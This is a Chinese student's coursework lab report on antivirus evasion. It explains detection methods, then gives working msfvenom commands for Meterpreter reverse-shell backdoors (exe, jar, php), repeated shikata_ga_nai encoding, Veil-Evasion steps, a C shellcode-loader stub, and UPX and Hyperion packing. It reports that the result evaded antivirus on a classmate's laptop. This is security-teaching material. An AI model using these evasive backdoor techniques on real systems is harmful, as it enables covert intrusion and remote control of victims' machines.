zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    基础问题回答

    • 杀软是如何检测出恶意代码的?

      1. 主要依托三种恶意软件检测机制
      2. 基于特征码的检测:一段特征码就是一段或者多段数据。如果一个可执行文件中含有这样的数据,即可被认为是恶意代码。
      3. 启发式恶意软件检测:根据一些片面特征去推测判断,但是一般缺乏精确地判定依据。
      4. 基于行为的恶意代码检测:属于启发式的一种,或者是加入了行为监控的启发式。
    • 免杀是做什么的?

      1. 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
    • 免杀的基本方法有哪些?

      1. 改变特征码
        1. 只有EXE--加壳:压缩壳,加密壳
        2. 有shellcode(像Meterpreter)--用encode进行编码,基于payload的重新编译生成可执行文件
        3. 有源代码的--用其他编译器进行重写再编译(veil-evasion)
      2. 改变行为
        1. 通讯方式:尽量减少反弹式连接,使用隧道技术,加密通讯数据
        2. 操作模式:基于内存操作,减少对系统的修改,加入混淆功能的正常功能代码
        3. 非常规方法:使用后门;使用攻击,诱骗目标关闭AV软件;自己做一个恶意软件

    具体实验操作

    任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    使用msf编码器

    • 使用msf编码器生成后门程序
      met-5221.exe: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.75.128 LPORT=5221 -f exe > met-5221.exe

    • 将生成的后门程序上传到virus total进行检测

    • 可见, 比较明显的后门程序很容易被杀软发现,下面我们做一些修改,看看是否还能被发现呢?

    • 一次编码的命令:-e 选择编码器;
      -b 是去除payload中需要去除的字符,为了使'x00'不出现在shellcode中。 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.75.128 LPORT=5221 -f exe > encoded-5221.exe

    • 再次将生成的后门程序上传到virus total进行检测

    • 再进行十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.75.128 LPORT=5221 -f exe > met-encoded-10.exe,其中-i后的参数是确定编码次数,具体效果如下

    • 再次将生成的后门程序上传到virus total进行检测

    • 可见效果不是特别明显

    使用msfvenom生成jar

    • 使用Java后门程序生成指令生成后门程序msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.75.128 lport=5221 x> 20165221-后门_java.jar

    使用msfvenom生成php

    • 使用php后门程序生成指令生成后门msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.75.128 lport=5221 x> 20165221_后门.php

    使用veil-evasion

    • 此处参考了同学的博客,进行安装,感谢大佬探路!

    • 之后再在终端输入veil,一路y,直到安装完成。这个过程相当的漫长,慢慢等吧......

    • 设置反弹连接IP:192.168.254.128(kali的ip)

    • 设置端口号:set LPORT 5221

    • 输入gennerate,接着输入playboad的名字:baddoor
      image

    • 随后再在终端使用veil进入应用,输入use evasion进入veil-evasion,再输入use python/meterpreter/rev_tcp.py

    半手工注入Shellcode并执行

    • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.75.128 LPORT=5221 -f c

    • 得到shellcode

    • 新建5221-exp3.c文件,并注入shellocde

    unsigned char buf[] = 
    将shellcode替换到此处
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    
    • 成功生成5221-exp3.c文件

    • 再将其上传到virus total进行检测

    • 和前几次相比,已经有了一些效果了

    加个压缩壳再试试

    • 5221-exp3.exe加壳得到tx_upxed.exe

    • 再将其上传到virus total进行检测

    • 将其复制到win10主机上,用360卫士进行木马查杀,效果如下

    • 额,貌似没有被发现啊,嘻嘻嘻

    使用加密壳Hyperion

    • 将生成的tx_upxed.exe文件拷贝到/usr/share/windows-binaries/hyperion/

    • 再使用命令wine hyperion.exe -v tx_upxed.exe tx_upxed.Hyperion.exe得到加密壳

    • 将其复制到win10主机上,被查杀

    • 将之前生成的后门程序20165221upxed.exe放到win7的虚拟机中,能够成功获得shell

    用另一电脑实测,在杀软开启的情况下,可运行并回连成功

    • 选择同学的联想笔记本电脑进行实测,并没有被杀软发现
      image

    实验总结

    • 这次试验中遇到的最大的几个问题就是veil的安装,虚拟机崩掉和ip地址导致的问题
    • 最开始在注入shellcode时是在图书馆用的WiFi做的,后来反弹连接时,老是失败,后来才意识到到宿舍是连接的自己的热点,IP地址都已经变化了,所以又退回去做了一遍........
    • 虚拟机崩掉这个,真是.....在用win7的虚拟机回弹连接时,发现虚拟机就是打不开,后来选择了最笨的办法,重新安装VMware,修复之前的运行环境,总之,很波折。。。。。。还好,都解决了
  • 相关阅读:
    DB2 for Z/os Statement prepare
    Foreign key (referential) constraints on DB2 LUW v105
    复制Informational constraints on LUW DB2 v105
    DB2 SQL Mixed data in character strings
    DB2 create partitioned table
    MVC中使用EF的技巧集(一)
    Asp.Net MVC 开发技巧(二)
    Linq使用技巧及查询示例(一)
    Asp.Net MVC 开发技巧(一)
    Asp.Net MVC Identity 2.2.1 使用技巧(八)
  • 原文地址:https://www.cnblogs.com/0630tx/p/10626375.html
Copyright © 2011-2022 走看看